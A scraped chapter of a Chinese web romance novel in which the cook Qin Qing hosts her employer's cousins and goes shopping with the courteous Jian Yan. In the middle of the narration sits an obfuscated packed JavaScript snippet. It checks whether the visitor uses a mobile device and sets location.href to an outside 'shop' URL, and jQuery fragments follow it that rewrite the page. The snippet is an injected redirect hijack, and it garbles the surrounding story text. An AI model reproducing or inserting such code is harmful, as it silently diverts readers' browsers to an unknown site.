秦箐筷子一顿,看向顾舒的眼神瞬间凛冽起来:“你怎么知道的?”


    筷子落到桌上,秦箐站起身来,腰背微躬,手越过餐桌,缓缓摸向顾舒纤细的脖颈。


    “你还知道些什么?呵,这般大胆,说出来了,就不怕我杀人灭口?”


    顾舒被这突然的变脸吓了一跳,不过这几日她已经习惯了秦箐有事没事就演一下,极其自然的扒拉下摸到脸蛋上的手,歪着头,显然已经沉浸于自己的想象当中:“说真的,我觉得傅总他,最近变了好多。”


    “你不会真的在他饭菜里放了些什么吧?我看小说都这么写的,某个人性情大变,就是饮食中掺杂了其他的药物。”


    秦箐收起矫揉造作的演技,坐回椅子上,面色不显:“说起来我确实放了不少东西。”


    尾音拖长,引得顾舒吞咽着口水,面色紧张,才不急不缓的接道。


    “煮饭放水,炒菜放油。”


    抬眼看一下对面支着头的人,秦箐微笑,贱兮兮地吐出几个字:“给你的蛋糕里放……”


    “好了别说了吃饭。”


    顾舒一把捂住秦箐的嘴,遐想时的嘴角已经对称折叠。


    呜呜呜,秦箐抗议几声,顾舒又心软松了手。


    最近几日,手速长进的是越来越快了。顾舒长吁一口气,不过还好,这次手总算是赶上了她的嘴。


    为了安抚自己走钢丝的心脏,顾舒推开碗筷,伸手将小蛋糕挪到面前。


    解开外包盒,是一块方形草莓蛋糕,饱满鲜红的草莓铺满顶层,边缘挤着绵密的奶油花边,夹层里的草莓片清晰可见。


    舀上一勺放进嘴里,满口都是清甜与幸福的交织。


    “傅修远给的?”


    “嗯,下班时放我桌的,还是当着全办公室的面。”顾舒应下,面上带着些羞红:“不过说是我上次任务做得优秀的奖励。”


    小傻瓜,秦箐暗暗骂道,顺手给自己倒了一碗丝瓜肉片汤。


    “箐箐,他这几天对我真的很好。”顾舒瞥了一眼人阴沉的脸色,咽咽口水,掰着手指头数起来:“都没有给我布置格外的工作让我加班,语言行为都保持着距离,很是礼貌,甚至有时候会先询问我的意见。”


    “嗯嗯嗯!”秦箐啃着鸡腿敷衍。


    咚咚——


    秦箐腾出只手将桌边的手机翻了个面。


    傅责人:我哥明天晚上过来吃饭,你别丢我的脸。


    五星大厨:忌口和喜好


    傅责人:我不知道


    秦箐嘴唇扇动几下,手指在空中比划一瞬,眼底的狠戾最终散去。


    五星大厨:我知道了。


    傅责人:???


    傅责人:你知道什么了?


    知道你大脑去皮质量不变。


    秦箐愤愤摁灭屏幕,抬头,对上顾舒的视线。


    “吃醋了?”秦箐故意问她。


    “才没有!”顾舒下意识接上,一瞬间反应过来,声音有些干涩:“我只是他的一个秘书,不要再说这种话逗我了。”


    “是是是,但你是最棒的秘书。”秦箐微笑,傅修远蹦哒的样子浮现脑海,又被一秒掐灭,筷子在手中渐渐有折断的趋向,“加vx只是方便他点菜罢了。”她解释。


    多做一道说浪费,少炒一样质疑私吞菜钱,混战到最后,傅修远仅仅是获得每日菜单的制定权,但他满意了。末了,还要小声逼逼:“要不是被威胁,我才不会吃你做的饭。”


    秦箐自知不能细想下去,话头一转,问起所谓的哥哥来。据她所知,傅修远是独生子。


    “傅总有一个表兄,有一个堂兄不过是他主动邀请的话,大概是他的表哥,简筵。”顾舒小口小口地舔食蛋糕。


    “简董可是超级厉害的一个人,大学期间和友人一起创业,成为行业新锐,毕业后带着公司回归简氏集团,短短三年便彻底掌权。”


    话到后面,全然沉浸于对简筵的夸赞与敬仰。


    能让顾舒夸半天不带重复,看样子真的是一个很不错的人。秦箐心想,怀着好奇,步子轻快地打开门。


    “呀,小美人。”门外站着个花衬衫,单挑起眉,一手插着口袋,另一手举起挥了挥。他打招呼的方式区别于普通形式的腕部发力、手掌打直左右摇晃,而是长的四只手指微微弯曲、像弹钢琴一样前后波动,在心湖点起浪花。


    秦箐一时傻眼,哪来的深井冰?


    扶着门还未收回的手瞬间用力,门迅速回关,刚至一半,碰的砸到墙壁,全然敞开来。


    抓着门框的手背青筋暴起,傅修远笑得咬牙,吐出的话却叫秦箐狠狠震惊——好有礼貌!


    “哥你怎么不说声就来了,我这都没有准备些什么好的能够招待。”


    “唉呀,弟弟真客气,没事哒,我就跟着筵哥来混口饭吃,简单吃点好了。”傅询柳自然而然地揽过傅修远的肩膀,换鞋进门,一套动作行云流水,自在的像是回了家。


    还真不是一家人不进一家门。


    秦箐感慨,视线收回,才见门外还立着一人。


    他原本就站在那儿,只是过于安静,被遮掩的存在,等到两人“言笑晏晏”走开,才展现在眼前。


    面容清俊柔和,气质斯文雅致。


    是秦箐喜欢的类型。


    “简董,请。”


    愣神片刻,秦箐反应过来,微微点头,做了个请的动作。


    简筵直勾的视线转了个方向,睫毛扇动着向下偏,发出的声音极小:“简筵。”


    话一出口,两人都怔住了。


    他这话什么意思?


    我在说些什么?


    舌头和牙齿打架,突触间隙的兴奋性神经递质浓度升高,简筵急促的想要补救:“秦小姐怎么称呼?”


    啊,这样的人他们家竟然能有三个。


    “秦箐。”她退后腾出道来,脸上挂着得体的笑。


    暂时捉摸不清调察的意图,秦箐决定先顺着他的话,静观其变。


    多了个不喊自来的家伙,本来预备好的菜品显得不大够,傅修远背着手,立马给秦箐转了一千,哐哐报出几个菜名。


    真巧,家里一样原材料都没有。


    换过鞋,秦箐站起身,刚跨上菜篮,手还未碰到门把手,背后传来一道幽幽的声音。


    “秦小姐,你要出去?”


    转身,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127103|196131||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是简筵。


    他的西装外套不知什么时候脱下,胸膛饱满,在衬衫下起伏,分明连一粒扣子都未解开,却格外吸引人的注意。


    “买菜。”秦箐晃了晃手中的菜篮子。


    “我和你一起去吧。”说完,人站在原地,眼神却似钩子一般抛来,隐隐透露着委屈。


    傅修远两人在露台“谈笑风生”,剩着他一人孤零零坐在客厅。


    板正的身影浮现脑海,神使鬼差,秦箐同意了。


    “我来提吧。”


    “不必。”


    只是刚出门,秦箐就有了悔意,简筵身上暗暗散发的热情叫她有些无法适从,哪怕一开始是她见色起意。


    电梯门开,秦箐特地慢了半个步子,想着顺其自然拉开距离。


    “秦箐,电梯到了。”简筵同样没有进去,站停在门口,一手拦于电梯门间避免突然关闭,侧身望过来,见她未动,轻声问道:“是有什么东西落下了吗?”


    “没有,走吧。”


    秦箐没跟着客气,快步进去。就现在的情况,她已经完全摸不着头脑了。


    原本以少概全,以为三个人都,比较特立独行。但就目前,简筵各方面的行为都在表明他是一个极其有教养的人,甚至周到得令人恐怖。


    特别是对自己,那种不对劲的异样格外强烈。


    秦箐瞥了一眼进来后便站到了对角线的人,没有错过那一抹慌忙挪开的视线。


    她挑眉,真的,从未见过这般有礼貌的人。


    连盯着看,都只是通过电梯映着倒影的墙壁。


    “他俩比较闹腾,修远平时冒犯你了,你来找我,我教训他就好。”


    简筵声线平淡,仿佛只是随口提及。


    “不用。”秦箐怀疑简筵在给她挖坑,试图治一个大不敬的罪名。又不是傻子,怎么会看不穿傅修远请人过来吃饭的意图。


    “没事,我都习惯了。毕竟,这都是作为哥哥的责任。”简筵情绪只是外泄一瞬,便又迅速收回,声音重回平静:“加一个联系方式?方便的话。”


    可耻的,秦箐又心软了,在明知对方是装的情况下。


    可谁又能抵御一个帅哥向你展现他柔弱的一面呢?


    反正有系统护着她,出不了什么事。


    想着,秦箐点了点头。


    简筵的手从口袋中拿出,翻过来,掌心握着手机,一摁,便是vx界面,很难说不是提前准备好的。


    他点击两下屏幕,往秦箐小跨一步,适时停下:“我扫你吧。”


    秦箐挑眉,没有推辞,应下后便迅速通过好友申请。没有复制粘贴申请当中的名字,手机背对着竖起,悄悄打下备注。


    电梯门突然打开,走进来个全身包裹严实的人,鸭舌帽、墨镜、口罩,几乎看不到脸上的一寸肌肤。


    秦箐靠控制板这边,主动伸手按下电梯门的关闭键。


    眼前光线变黑,身上笼罩着一点点影子,秦箐抬头,简筵不知何时又往这边小挪了半步,半遮挡在她和那个怪人之间。


    狭小的空间充斥着沉默,将时间的体感拉长。


    叮咚——


    电梯门再次打开